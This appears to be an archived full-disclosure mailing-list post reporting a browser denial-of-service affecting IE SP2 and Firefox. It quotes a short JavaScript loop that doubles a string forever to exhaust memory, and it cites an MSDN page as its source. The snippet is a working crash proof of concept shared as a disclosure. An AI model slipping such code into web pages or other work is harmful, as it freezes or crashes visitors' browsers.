full-disclosure - IE sp2 and Mozilla Firefox DoS.

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Message-ID: <BAY10-DAV33CFEAAA0EF3A4E798D138D99A0@phx.gbl>
From: se_cur_ity at hotmail.com (morning_wood)
Subject: IE sp2 and Mozilla Firefox DoS.

even Microsoft publishes PoC for browser DoS ( multi platform too )
see:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dninstj/html/privacyforbrowserusers.asp

------ / snip / ------
var big_string = "double me up!";
while (true)
{
    big_string = big_string + big_string;   // 20 iterations equals all your
memory...
}
----- / snip / --------

kinda funny... unpatched too!
cheers,
m.w